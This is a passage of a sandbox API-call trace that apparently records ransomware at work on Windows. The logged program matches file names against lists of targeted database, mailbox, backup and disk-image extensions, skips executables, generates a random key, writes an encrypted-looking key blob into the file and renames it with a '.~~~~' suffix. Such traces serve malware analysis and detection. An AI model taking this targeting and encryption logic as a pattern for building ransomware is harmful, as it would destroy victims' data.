	[0083.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".SDF") returned 0x0
	[0083.940] lstrlenW (lpString=".dtxs") returned 5
	[0083.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".dtxs") returned 0x0
	[0083.940] lstrlenW (lpString=".db3") returned 4
	[0083.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".db3") returned 0x0
	[0083.940] lstrlenW (lpString=".OST") returned 4
	[0083.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".OST") returned 0x0
	[0083.940] lstrlenW (lpString=".dbx") returned 4
	[0083.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".dbx") returned 0x0
	[0083.940] lstrlenW (lpString=".DB3") returned 4
	[0083.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".DB3") returned 0x0
	[0083.940] lstrlenW (lpString=".DAT") returned 4
	[0083.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".DAT") returned 0x0
	[0083.940] lstrlenW (lpString=".VHDX") returned 5
	[0083.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".VHDX") returned 0x0
	[0083.940] lstrlenW (lpString=".ndf") returned 4
	[0083.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".ndf") returned 0x0
	[0083.941] lstrlenW (lpString=".DB") returned 3
	[0083.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".DB") returned 0x0
	[0083.941] lstrlenW (lpString=".sql") returned 4
	[0083.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".sql") returned 0x0
	[0083.941] lstrlenW (lpString=".MYD") returned 4
	[0083.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".MYD") returned 0x0
	[0083.941] lstrlenW (lpString=".DBT") returned 4
	[0083.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".DBT") returned 0x0
	[0083.941] lstrlenW (lpString=".ACCDB") returned 6
	[0083.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".ACCDB") returned 0x0
	[0083.941] lstrlenW (lpString=".fdb") returned 4
	[0083.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".fdb") returned 0x0
	[0083.941] lstrlenW (lpString=".bak") returned 4
	[0083.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".bak") returned 0x0
	[0083.941] lstrlenW (lpString=".myd") returned 4
	[0083.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".myd") returned 0x0
	[0083.941] lstrlenW (lpString=".DTXS") returned 5
	[0083.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".DTXS") returned 0x0
	[0083.941] lstrlenW (lpString=".ckp") returned 4
	[0083.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".ckp") returned 0x0
	[0083.941] lstrlenW (lpString=".dbt") returned 4
	[0083.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".dbt") returned 0x0
	[0083.941] lstrlenW (lpString=".db") returned 3
	[0083.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".db") returned 0x0
	[0083.941] lstrlenW (lpString=".TXT") returned 4
	[0083.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".TXT") returned 0x0
	[0083.942] lstrlenW (lpString=".MDF") returned 4
	[0083.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".MDF") returned 0x0
	[0083.942] lstrlenW (lpString=".bdb") returned 4
	[0083.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".bdb") returned 0x0
	[0083.942] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0083.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.942] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0083.943] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.943] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0083.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.943] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20393323361) returned 1
	[0083.943] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9bde2110, dwHighDateTime=0x1d60e1e)) 
	[0083.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0083.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0083.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0083.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc08
	[0083.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc08 | out: hHeap=0x300000) returned 1
	[0083.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab768
	[0083.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab768 | out: hHeap=0x300000) returned 1
	[0083.944] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0083.944] GetLastError () returned 0x0
	[0083.944] GetLastError () returned 0x0
	[0083.944] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0083.944] GetLastError () returned 0x0
	[0083.944] GetLastError () returned 0x0
	[0083.947] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff29ed, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.948] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xd613, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0xd613, lpOverlapped=0x0) returned 1
	[0083.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.948] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.948] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.948] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.948] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.948] CloseHandle (hObject=0x124) returned 1
	[0083.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0083.949] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm.~~~~")) returned 1
	[0083.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0083.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0083.950] GetLastError () returned 0x0
	[0083.950] RtlWakeConditionVariable () returned 0x365f70
	[0083.950] GetCurrentThreadId () returned 0x9f4
	[0083.950] GetCurrentThreadId () returned 0x9f4
	[0083.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807ca0
	[0083.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab8b8 | out: hHeap=0x300000) returned 1
	[0083.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a23a0 | out: hHeap=0x300000) returned 1
	[0083.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab8b8
	[0083.950] lstrlenW (lpString=".scr") returned 4
	[0083.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0083.950] lstrlenW (lpString=".cmd") returned 4
	[0083.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0083.950] lstrlenW (lpString=".dll") returned 4
	[0083.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0083.950] lstrlenW (lpString=".bat") returned 4
	[0083.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0083.950] lstrlenW (lpString=".cpl") returned 4
	[0083.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0083.950] lstrlenW (lpString=".sys") returned 4
	[0083.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0083.950] lstrlenW (lpString=".msc") returned 4
	[0083.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0083.950] lstrlenW (lpString=".com") returned 4
	[0083.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0083.951] lstrlenW (lpString=".lnk") returned 4
	[0083.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0083.951] lstrlenW (lpString=".msp") returned 4
	[0083.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0083.951] lstrlenW (lpString=".pif") returned 4
	[0083.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0083.951] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.951] lstrlenW (lpString=".sqb") returned 4
	[0083.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0083.951] lstrlenW (lpString=".ost") returned 4
	[0083.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0083.951] lstrlenW (lpString=".txt") returned 4
	[0083.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0083.952] lstrlenW (lpString=".mdt") returned 4
	[0083.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0083.952] lstrlenW (lpString=".BDB") returned 4
	[0083.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0083.952] lstrlenW (lpString=".eql") returned 4
	[0083.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0083.952] lstrlenW (lpString=".DBF") returned 4
	[0083.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0083.952] lstrlenW (lpString=".EQL") returned 4
	[0083.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0083.952] lstrlenW (lpString=".FDB") returned 4
	[0083.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0083.952] lstrlenW (lpString=".EDB") returned 4
	[0083.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0083.952] lstrlenW (lpString=".DACPAC") returned 7
	[0083.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0083.952] lstrlenW (lpString=".VHD") returned 4
	[0083.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0083.952] lstrlenW (lpString=".DBV") returned 4
	[0083.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0083.952] lstrlenW (lpString=".dacpac") returned 7
	[0083.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0083.952] lstrlenW (lpString=".sdf") returned 4
	[0083.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0083.952] lstrlenW (lpString=".accdb") returned 6
	[0083.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0083.952] lstrlenW (lpString=".DBX") returned 4
	[0083.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0083.953] lstrlenW (lpString=".MDT") returned 4
	[0083.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0083.953] lstrlenW (lpString=".SQB") returned 4
	[0083.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0083.953] lstrlenW (lpString=".vhd") returned 4
	[0083.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0083.953] lstrlenW (lpString=".bac") returned 4
	[0083.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0083.953] lstrlenW (lpString=".mdf") returned 4
	[0083.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0083.953] lstrlenW (lpString=".BAK") returned 4
	[0083.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0083.953] lstrlenW (lpString=".BAC") returned 4
	[0083.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0083.953] lstrlenW (lpString=".dbs") returned 4
	[0083.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0083.953] lstrlenW (lpString=".vhdx") returned 5
	[0083.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0083.953] lstrlenW (lpString=".NDF") returned 4
	[0083.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0083.953] lstrlenW (lpString=".dat") returned 4
	[0083.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0083.953] lstrlenW (lpString=".DBS") returned 4
	[0083.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0083.953] lstrlenW (lpString=".CKP") returned 4
	[0083.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0083.954] lstrlenW (lpString=".edb") returned 4
	[0083.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0083.954] lstrlenW (lpString=".PST") returned 4
	[0083.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0083.954] lstrlenW (lpString=".dbf") returned 4
	[0083.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0083.954] lstrlenW (lpString=".SQL") returned 4
	[0083.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0083.954] lstrlenW (lpString=".pst") returned 4
	[0083.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0083.954] lstrlenW (lpString=".dbv") returned 4
	[0083.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0083.954] lstrlenW (lpString=".SDF") returned 4
	[0083.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0083.954] lstrlenW (lpString=".dtxs") returned 5
	[0083.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0083.954] lstrlenW (lpString=".db3") returned 4
	[0083.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0083.954] lstrlenW (lpString=".OST") returned 4
	[0083.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0083.954] lstrlenW (lpString=".dbx") returned 4
	[0083.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0083.954] lstrlenW (lpString=".DB3") returned 4
	[0083.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0083.954] lstrlenW (lpString=".DAT") returned 4
	[0083.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0083.954] lstrlenW (lpString=".VHDX") returned 5
	[0083.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0083.955] lstrlenW (lpString=".ndf") returned 4
	[0083.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0083.955] lstrlenW (lpString=".DB") returned 3
	[0083.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0083.955] lstrlenW (lpString=".sql") returned 4
	[0083.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0083.955] lstrlenW (lpString=".MYD") returned 4
	[0083.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0083.955] lstrlenW (lpString=".DBT") returned 4
	[0083.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0083.955] lstrlenW (lpString=".ACCDB") returned 6
	[0083.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0083.955] lstrlenW (lpString=".fdb") returned 4
	[0083.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0083.955] lstrlenW (lpString=".bak") returned 4
	[0083.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0083.955] lstrlenW (lpString=".myd") returned 4
	[0083.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0083.955] lstrlenW (lpString=".DTXS") returned 5
	[0083.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0083.955] lstrlenW (lpString=".ckp") returned 4
